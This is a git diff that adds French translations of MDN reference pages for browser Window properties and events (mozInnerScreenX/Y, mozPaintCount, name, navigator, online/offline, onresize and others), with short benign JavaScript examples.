+ <li><em><code>time</code></em> est le temps en millisecondes depuis l'époque à laquelle les animations de la fenêtre actuelle doivent être considérées comme ayant démarré.</li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.mozAnimationStartTime")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.mozRequestAnimationFrame()")}}</li>
+ <li>{{domxref("window.onmozbeforepaint")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/mozinnerscreenx/index.html b/files/fr/web/api/window/mozinnerscreenx/index.html
new file mode 100644
index 0000000000..932e10789f
--- /dev/null
+++ b/files/fr/web/api/window/mozinnerscreenx/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.mozInnerScreenX
+slug: Web/API/Window/mozInnerScreenX
+tags:
+  - API
+  - HTML DOM
+  - NeedsSpecTable
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/mozInnerScreenX
+---
+<div>{{APIRef}}{{gecko_minversion_header("1.9.2")}}</div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Obtient la coordonnée X du coin supérieur gauche de la fenêtre de la fenêtre, en coordonnées d'écran.</p>
+
+<div class="note"><strong>Note:</strong> Cette coordonnée est indiquée en pixels CSS et non en pixels matériels. <span class="tlid-translation translation" lang="fr"><span title="">Cela signifie qu'il peut être affecté par le niveau de zoom</span></span>; <span class="tlid-translation translation" lang="fr"><span title="">pour calculer le nombre réel de pixels d'écran physiques, vous devez utiliser la propriété</span></span><a href="/en-US/docs/XPCOM_Interface_Reference/nsIDOMWindowUtils"> <code>nsIDOMWindowUtils.screenPixelsPerCSSPixel</code></a>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>screenX</var> = window.mozInnerScreenX;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<ul>
+ <li><var>screenX</var> stocke la valeur de la propriété <code>window.mozInnerScreenX</code>.</li>
+ <li>La propriété <code>window.mozInnerScreenX</code> est une valeur en lecture seule à virgule flottante; il n'a pas de valeur par défaut.</li>
+</ul>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification ou recommandation technique du W3C.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.mozInnerScreenX")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.mozInnerScreenY")}}</li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/nsIDOMWindowUtils"><code>nsIDOMWindowUtils.screenPixelsPerCSSPixel</code></a></li>
+</ul>
diff --git a/files/fr/web/api/window/mozinnerscreeny/index.html b/files/fr/web/api/window/mozinnerscreeny/index.html
new file mode 100644
index 0000000000..8799ff3f43
--- /dev/null
+++ b/files/fr/web/api/window/mozinnerscreeny/index.html
@@ -0,0 +1,47 @@
+---
+title: Window.mozInnerScreenY
+slug: Web/API/Window/mozInnerScreenY
+tags:
+  - API
+  - HTML DOM
+  - NeedsExample
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/mozInnerScreenY
+---
+<div>{{APIRef}}{{gecko_minversion_header("1.9.2")}}</div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Obtient la coordonnée Y du coin supérieur gauche de la fenêtre de la fenêtre, en coordonnées d'écran.</p>
+
+<div class="note"><strong>Note:</strong> Cette coordonnée est indiquée en pixels CSS et non en pixels matériels. Cela signifie qu'il peut être affecté par le niveau de zoom; pour calculer le nombre réel de pixels d'écran physiques, vous devez utiliser la propriété<a href="/en-US/docs/XPCOM_Interface_Reference/nsIDOMWindowUtils"> <code>nsIDOMWindowUtils.screenPixelsPerCSSPixel</code></a>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>screenY</var> = window.mozInnerScreenY;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<ul>
+ <li><var>screenY</var> stocke la valeur de la propriété <code>window.mozInnerScreenY</code>.</li>
+ <li>La propriété <code>window.mozInnerScreenY</code> <span class="tlid-translation translation" lang="fr"><span title="">est une valeur en lecture seule à virgule flottante;</span> <span title="">il n'a pas de valeur par défaut.</span></span></li>
+</ul>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification ou recommandation technique du W3C.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.mozInnerScreenY")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.mozInnerScreenX")}}</li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/nsIDOMWindowUtils"><code>nsIDOMWindowUtils.screenPixelsPerCSSPixel</code></a></li>
+</ul>
diff --git a/files/fr/web/api/window/mozpaintcount/index.html b/files/fr/web/api/window/mozpaintcount/index.html
new file mode 100644
index 0000000000..7293c9c43a
--- /dev/null
+++ b/files/fr/web/api/window/mozpaintcount/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.mozPaintCount
+slug: Web/API/Window/mozPaintCount
+tags:
+  - API
+  - 'API:Mozilla Extensions'
+  - Déprécié
+  - HTML DOM
+  - NeedsExample
+  - Non-standard
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/mozPaintCount
+---
+<p>{{APIRef("Mozilla Extensions")}}{{Non-standard_Header}}{{Obsolete_Header("Gecko72")}}{{Gecko_MinVersion_Header("2.0")}}</p>
+
+<p>Renvoie le nombre de fois où le document actuel a été peint à l'écran dans cette fenêtre.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><code>var <em>paintCount</em> = window.mozPaintCount;</code></pre>
+
+<ul>
+ <li><code><em>paintCount</em></code> stocke la valeur de la propriété <code>window.mozPaintCount</code>.</li>
+ <li>La valeur <code>window.mozPaintCount</code> est <code>longue</code>, et commence à zéro <span class="tlid-translation translation" lang="fr"><span title="">lorsque le document est créé pour la première fois, en incrémentant de un à chaque fois que le document est peint.</span></span></li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification ou recommandation du <abbr title="World Wide Web Consortium">W3C</abbr>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.mozPaintCount")}}</p>
diff --git a/files/fr/web/api/window/name/index.html b/files/fr/web/api/window/name/index.html
new file mode 100644
index 0000000000..ef7efa9448
--- /dev/null
+++ b/files/fr/web/api/window/name/index.html
@@ -0,0 +1,54 @@
+---
+title: Window.name
+slug: Web/API/Window/name
+tags:
+  - API
+  - HTML DOM
+  - Propriété
+  - Reference
+translation_of: Web/API/Window/name
+---
+<div>{{APIRef}}</div>
+
+<h2 id="En_bref">En bref</h2>
+
+<p>Récupère ou définit le nom de la fenêtre.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><var>string</var> = window.name;
+window.name = <var>string</var>;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">window.name = "lab_view";
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les noms de fenêtres sont principalement utilisés pour définir les cibles de liens hypertextes et de formulaires. Les fenêtres n'ont pas besoin d'être nommées.</p>
+
+<p>Les noms de fenêtres ont en outre été utilisés par quelques <em>frameworks </em>pour le support des échanges de messages inter-domaines (par exemple <a href="http://www.thomasfrank.se/sessionvars.html">SessionVars</a> et <a href="http://www.sitepen.com/blog/2008/07/22/windowname-transport/">dojox.io.windowName</a> de Dojo) comme une alternative plus sécurisée à JSONP. Toutefois, les applications web modernes manipulant des données sensibles devraient utiliser l'<a href="/fr/docs/Web/API/Window/postMessage">API postMessage</a> pour les échanges de messages inter-domaines plutôt que s'appuyer sur <code>window.name</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-name', 'Window.name')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-name', 'Window.name')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/window/navigator/index.html b/files/fr/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..52d536f092
--- /dev/null
+++ b/files/fr/web/api/window/navigator/index.html
@@ -0,0 +1,125 @@
+---
+title: window.navigator
+slug: Web/API/Window/navigator
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/navigator
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie une référence à l'objet
+ <i>
+  navigator</i>
+ , qui peut être interrogé pour obtenir des informations concernant l'application exécutant le script.</p>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre class="eval">alert("Vous utilisez " + navigator.appName);
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'objet navigator est utilisé pour connaître le navigateur en cours d'utilisation. Il fournit des propriétés permettant d'obtenir des informations sur le navigateur lui-même. Toutes les propriétés et méthodes disponibles depuis window.navigator peuvent également être référencées simplement avec navigator.</p>
+<h3 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h3>
+<dl>
+ <dt>
+  <a href="fr/DOM/window.navigator.appcodeName">navigator.appCodeName</a></dt>
+ <dd>
+  Renvoie le nom de code interne du navigateur courant.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.appName">navigator.appName</a></dt>
+ <dd>
+  Renvoie le nom officiel du navigateur.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.appVersion">navigator.appVersion</a></dt>
+ <dd>
+  Renvoie la version du navigateur sous la forme d'une chaîne.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.buildID">navigator.buildID</a></dt>
+ <dd>
+  Renvoie l'identifiant de compilation du navigateur (par exemple « 2006090803 »)</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.cookieEnabled">navigator.cookieEnabled</a></dt>
+ <dd>
+  Renvoie un booléen indiquant si les cookies sont activés ou non dans le navigateur.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.language">navigator.language</a></dt>
+ <dd>
+  Renvoie une chaîne représentant la langue utilisée par le navigateur.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.mimeTypes">navigator.mimeTypes</a></dt>
+ <dd>
+  Renvoie une liste des types MIME gérés par le navigateur.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.onLine">navigator.onLine</a></dt>
+ <dd>
+  Renvoie un booléen indiquant si le navigateur est en mode en ligne.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.oscpu">navigator.oscpu</a></dt>
+ <dd>
+  Renvoie une chaîne indiquant le système d'exploitation.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.platform">navigator.platform</a></dt>
+ <dd>
+  Renvoie une chaîne représentant la plateforme du navigateur.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.plugins">navigator.plugins</a></dt>
+ <dd>
+  Renvoie un tableau listant les plugins installés dans le navigateur.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.product">navigator.product</a></dt>
+ <dd>
+  Renvoie le nom de produit du navigateur (par exemple « Gecko »)</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.productSub">navigator.productSub</a></dt>
+ <dd>
+  Renvoie le numéro de compilation du produit (par exemple « 20060909 »)</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.securityPolicy">navigator.securityPolicy</a></dt>
+ <dd>
+  Renvoie une chaîne vide. Dans Netscape 4.7x, renvoyait « US &amp; CA domestic policy » ou « Export policy ».</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.userAgent">navigator.userAgent</a></dt>
+ <dd>
+  Renvoie la chaîne d'identification d'agent utilisateur pour le navigateur courant.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.vendor">navigator.vendor</a></dt>
+ <dd>
+  Renvoie le nom du vendeur du navigateur (par exemple « Netscape6 »)</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.vendorSub">navigator.vendorSub</a></dt>
+ <dd>
+  Renvoie le numéro de version du vendeur (par exemple « 6.1 »)</dd>
+</dl>
+<h3 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h3>
+<dl>
+ <dt>
+  <a href="fr/DOM/window.navigator.javaEnabled">navigator.javaEnabled</a></dt>
+ <dd>
+  Indique si le navigateur hôte dispose de Java activé ou non.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.isLocallyAvailable">navigator.isLocallyAvailable</a></dt>
+ <dd>
+  Permet de vérifier si le document à une URI donnée est disponible sans utiliser le réseau.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.preference">navigator.preference</a></dt>
+ <dd>
+  Définit une préférence utilisateur. Cette méthode est <a class="external" href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">uniquement disponible pour du code privilégié</a>, et il est préférable d'utiliser l'<a href="fr/API_des_pr%c3%a9f%c3%a9rences">API des préférences</a> XPCOM à la place.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.registerContentHandler">navigator.registerContentHandler</a></dt>
+ <dd>
+  Permet aux sites Web de s'enregistrer comme gestionnaires possibles pour un type MIME donné.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.registerProtocolHandler">navigator.registerProtocolHandler</a> {{ Fx_minversion_inline(3) }} </dt>
+ <dd>
+  Permet aux sites Web de s'enregistrer comme gestionnaires possibles pour un protocole donné.</dd>
+ <dt>
+  <a href="fr/DOM/window.navigator.taintEnabled">navigator.taintEnabled</a> {{ Obsolete_inline() }} </dt>
+ <dd>
+  Renvoie <code>false</code>. Les fonctions JavaScript taint/untaint ont été retirées de JavaScript dans sa version 1.2<a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/nav.html#1194117"> </a></dd>
+</dl>
+<h3 id="Voir_.C3.A9galement" name="Voir_.C3.A9galement"><a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.3/reference/nav.html#1194117">Voir également </a></h3>
+<p><a href="fr/R%c3%a9f%c3%a9rence_objet_crois%c3%a9e_des_clients_DOM/navigator">Référence objet croisée des clients DOM:navigator</a></p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator", "ja": "ja/DOM/window.navigator", "pl": "pl/DOM/window.navigator" } ) }}</p>
diff --git a/files/fr/web/api/window/offline_event/index.html b/files/fr/web/api/window/offline_event/index.html
new file mode 100644
index 0000000000..a038b1ea4a
--- /dev/null
+++ b/files/fr/web/api/window/offline_event/index.html
@@ -0,0 +1,73 @@
+---
+title: 'Window: Evenement offline'
+slug: Web/API/Window/offline_event
+tags:
+  - API
+  - Event
+  - Offline
+  - Reference
+  - Window
+translation_of: Web/API/Window/offline_event
+---
+<p>{{APIRef}}</p>
+
+<p>L'événement <strong><code>offline</code></strong> de l'interface {{domxref("Window")}} se déclenche lorsque le navigateur perd la connexion au réseau et la valeur de  {{domxref("Navigator.onLine")}} bascule à <code>false</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("GlobalEventHandlers.onoffline", "onoffline")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">//version addEventListener
+window.addEventListener('offline', (event) =&gt; {
+    console.log("La Connexion au réseau est perdu.");
+});
+
+// onoffline version
+window.onoffline = (event) =&gt; {
+  console.log("La Connexion au réseau a été perdue.");
+};
+</pre>
+
+<h2 class="brush: js" id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "indices.html#event-offline", "offline event")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_Navigateurs">Compatibilité des Navigateurs</h2>
+
+<p>{{Compat("api.Window.offline_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Window/online_event"><code>online</code></a></li>
+</ul>
diff --git a/files/fr/web/api/window/ondevicelight/index.html b/files/fr/web/api/window/ondevicelight/index.html
new file mode 100644
index 0000000000..4a4357ec9a
--- /dev/null
+++ b/files/fr/web/api/window/ondevicelight/index.html
@@ -0,0 +1,34 @@
+---
+title: Window.ondevicelight
+slug: Web/API/Window/ondevicelight
+tags:
+  - API
+  - Ambient Light Events
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/API/Window/ondevicelight
+---
+<div>{{obsolete_header}}</div>
+
+<p>Spécifie un écouteur d'événements pour recevoir des événements {{event ("devicelight")}}. Ces événements se produisent lorsque le capteur de niveau de lumière de l'appareil détecte une modification de l'intensité du niveau de lumière ambiante.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">window.ondevicelight = <var>funcRef</var></pre>
+
+<p><code><em>funcRef</em></code> est une fonction à appeler lorsque l'événement {{event("devicelight")}} se produit. Ces événements sont de type {{domxref("DeviceLightEvent")}}.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.ondevicelight")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{event("devicelight")}}</li>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li><a href="/en-US/docs/Web/API/DeviceLightEvent/Using_light_events">Using Light Events</a></li>
+</ul>
diff --git a/files/fr/web/api/window/online_event/index.html b/files/fr/web/api/window/online_event/index.html
new file mode 100644
index 0000000000..0dd968c064
--- /dev/null
+++ b/files/fr/web/api/window/online_event/index.html
@@ -0,0 +1,79 @@
+---
+title: 'Window: online event'
+slug: Web/API/Window/online_event
+tags:
+  - API
+  - Evènement
+  - Online
+  - Reference
+  - Window
+translation_of: Web/API/Window/online_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong><code>online</code></strong> de l'interface {{domxref("Window")}} est déclenché lorsque le navigateur a obtenu l'accès au réseau et que la valeur de {{domxref("Navigator.onLine")}} passe à <code>true</code>.</p>
+
+<div class="note"><strong>Note:</strong> Cet événement ne doit pas être utilisé pour déterminer la disponibilité d'un site Web particulier. Des problèmes de réseau ou des pare-feu peuvent encore empêcher l'accès au site Web.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("GlobalEventHandlers.ononline", "ononline")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;"></dt>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">// addEventListener version
+window.addEventListener('online', (event) =&gt; {
+    console.log("Vous êtes maintenant connecté au réseau.");
+});
+
+// ononline version
+window.ononline = (event) =&gt; {
+  console.log("Vous êtes maintenant connecté au réseau.");
+};
+</pre>
+
+<h2 class="brush: js" id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "indices.html#event-online", "online event")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Window.online_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Window/offline_event"><code>offline</code></a></li>
+</ul>
diff --git a/files/fr/web/api/window/onpaint/index.html b/files/fr/web/api/window/onpaint/index.html
new file mode 100644
index 0000000000..351683ba0c
--- /dev/null
+++ b/files/fr/web/api/window/onpaint/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.onpaint
+slug: Web/API/Window/onpaint
+tags:
+  - API
+  - Event Handler
+  - HTML DOM
+  - Non-standard
+  - Propriété
+translation_of: Web/API/Window/onpaint
+---
+<div>{{ ApiRef() }} {{Non-standard_header}}</div>
+
+<p><code><strong>Window.onpaint</strong></code> est un gestionnaire d'événements pour l'événement <code>paint</code> sur la fenêtre.</p>
+
+<div class="blockIndicator warning">
+<p>Ne fonctionne pas dans les applications basées sur Gecko actuellement, voir la section Notes!</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">window.onpaint = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> est une fonction de gestionnaire.</li>
+</ul>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>onpaint</code> ne fonctionne pas actuellement, et il est douteux que cet événement fonctionne du tout, voir {{ Bug(239074) }}.</p>
+
+<p>L'événement <code>paint</code> est déclenché lorsque la fenêtre est rendue. Cet événement se produit après l'événement {{Event ("load")}} pour une fenêtre, et se reproduit chaque fois que la fenêtre doit être restituée, par exemple lorsqu'une autre fenêtre l'obscurcit et est ensuite effacée.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Cela ne fait partie d'aucune spécification.</p>
diff --git a/files/fr/web/api/window/onresize/index.html b/files/fr/web/api/window/onresize/index.html
new file mode 100644
index 0000000000..d2c0d6304f
--- /dev/null
+++ b/files/fr/web/api/window/onresize/index.html
@@ -0,0 +1,78 @@
+---
+title: window.onresize
+slug: Web/API/Window/onresize
+tags:
+  - API
+  - DOM
+  - Gestionnaires d'évènements
+  - Propriété
+  - évènements
+translation_of: Web/API/GlobalEventHandlers/onresize
+---
+<p>{{ ApiRef() }}</p>
+
+<p>La propriété <code><strong>GlobalEventHandlers.onresize</strong></code> contient un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements)</em> qui survient quand un évènement {{event("resize")}} est reçu.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">window.onresize = <em>funcRef</em>;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>funcRef</code> est une référence à une fonction.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre>window.onresize = doFunc;
+</pre>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>onresize test<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Resize the browser window to fire the resize event.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Window height: <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>height<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Window width: <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>width<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+  <span class="keyword token">var</span> heightOutput <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'#height'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> widthOutput <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'#width'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">function</span> <span class="function token">resize</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    heightOutput<span class="punctuation token">.</span>textContent <span class="operator token">=</span> window<span class="punctuation token">.</span>innerHeight<span class="punctuation token">;</span>
+    widthOutput<span class="punctuation token">.</span>textContent <span class="operator token">=</span> window<span class="punctuation token">.</span>innerWidth<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  window<span class="punctuation token">.</span>onresize <span class="operator token">=</span> resize<span class="punctuation token">;</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>L’événement <code>resize</code> est déclenché après le redimensionnement de la fenêtre.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onresize','onresize')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/window/open/index.html b/files/fr/web/api/window/open/index.html
new file mode 100644
index 0000000000..d4fced2fa8
--- /dev/null
+++ b/files/fr/web/api/window/open/index.html
@@ -0,0 +1,770 @@
+---
+title: window.open
+slug: Web/API/Window/open
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/Window/open
+---
+<p>{{ ApiRef() }}</p>
+
